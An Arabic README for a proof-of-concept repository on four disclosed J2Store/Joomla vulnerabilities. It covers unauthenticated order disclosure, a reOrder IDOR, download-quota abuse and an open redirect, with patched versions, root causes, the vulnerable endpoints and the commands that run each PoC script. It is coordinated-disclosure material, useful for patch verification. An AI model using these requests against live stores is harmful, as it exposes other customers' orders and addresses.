
PoC لـ J2Store CVE-2026-67358–67362 (النشرة الأمنية لـ J2Commerce أغسطس 2026)
مواد إثبات المفهوم لـ أربع ثغرات أمنية في com_j2store (J2Commerce J2Store)، اكتشفها Murrez وتم إصلاحها في:
| الفرع | الإصدار المُصحَّح |
|---|
| J2Store 3.x | 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
الإعلان الرسمي: إعلان J2Commerce الأمني (2026-08-20)
| CVE | الثغرة | المصادقة | CVSS 4.0 | الخطورة |
|---|---|---|---|---|
| CVE-2026-67359 | بنود الطلب والإجماليات بدون مصادقة عبر expressconfirm | بدون | 8.7 | عالية |
| CVE-2026-67360 | IDOR عبر العملاء في reOrder (سلة/عنوان الضحية في جلسة المهاجم) | منخفضة (مسجّل الدخول) | 8.7 | عالية |
| CVE-2026-67358 | updateHitCount يستنزف حصة التنزيل الخاصة بعميل آخر | منخفضة (رمز طلب ضيف) | 5.3 | متوسطة |
| CVE-2026-67362 | إعادة توجيه مفتوحة في مهام السلة (setcurrency, addItem, applyCoupon, applyVoucher) | بدون | 5.1 | متوسطة |
الإصدار المُختبَر: J2Store Pro 4.1.5 على Joomla 5.x (مختبر محلي).
لأغراض البحث الأمني المصرّح به والتحقق من التصحيحات فقط. لا تستخدمه ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.
pip install -r requirements.txt
Python 3.10+
عنوان URL الأساسي الافتراضي للمختبر: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
إعادة تشغيل مبسّطة عبر Burp/curl: replay/
expressconfirmالواجهة: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
عند عدم وجود جلسة دفع نشطة، فإن أي order_id يعرض صفحة تأكيد الدفع السريع (بنود الطلب، الكميات، الأسعار، الإجماليات) بدون مصادقة.
السبب الجذري: components/com_j2store/controllers/checkouts.php — تستخدم expressconfirm() قيمة order_id المقدَّمة من الطلب بدون التحقق من الملكية.
reOrderالواجهة: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
يمكن لمستخدم مصادق يملك order_id خاص بضحية أن يطلق إعادة الطلب: تُنسخ بنود الضحية إلى سلة المهاجم؛ وتُخزَّن معرّفات عنوان الفوترة/الشحن الخاص بالضحية في جلسة المهاجم.
السبب الجذري: components/com_j2store/controllers/myprofile.php — تتحقق reOrder() من CSRF وتسجيل الدخول ولكن ليس من $order->user_id.
updateHitCountالواجهة: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
يمكن للضيف أو العميل الذي يملك زوج (order_id, token) صالحًا خاصًا به زيادة limit_count على orderdownload_id الخاص بطلب آخر. لا يتطلب رمز CSRF.
السبب الجذري: components/com_j2store/controllers/myprofile.php — يُتحقق من الرمز مقابل طلب المتصل فقط؛ وorderdownload_id غير مرتبط بذلك الطلب.
المهام: carts.setcurrency, carts.addItem, carts.applyCoupon, carts.applyVoucher
تُفكَّك معاملات redirect / return المرمَّزة بـ Base64 وتُمرَّر إلى $app->redirect() بدون قائمة سماح للمضيفين. لا تحجب JRoute::_() عناوين URL الخارجية المطلقة.
السبب الجذري: components/com_j2store/controllers/carts.php
المشكلات 1 و2 و3 و5 في تنبيه البائع الأمني — Murrez ([email protected]).
إفصاح منسّق عبر J2Commerce وفريق Joomla Security Strike Team.
MIT — انظر LICENSE.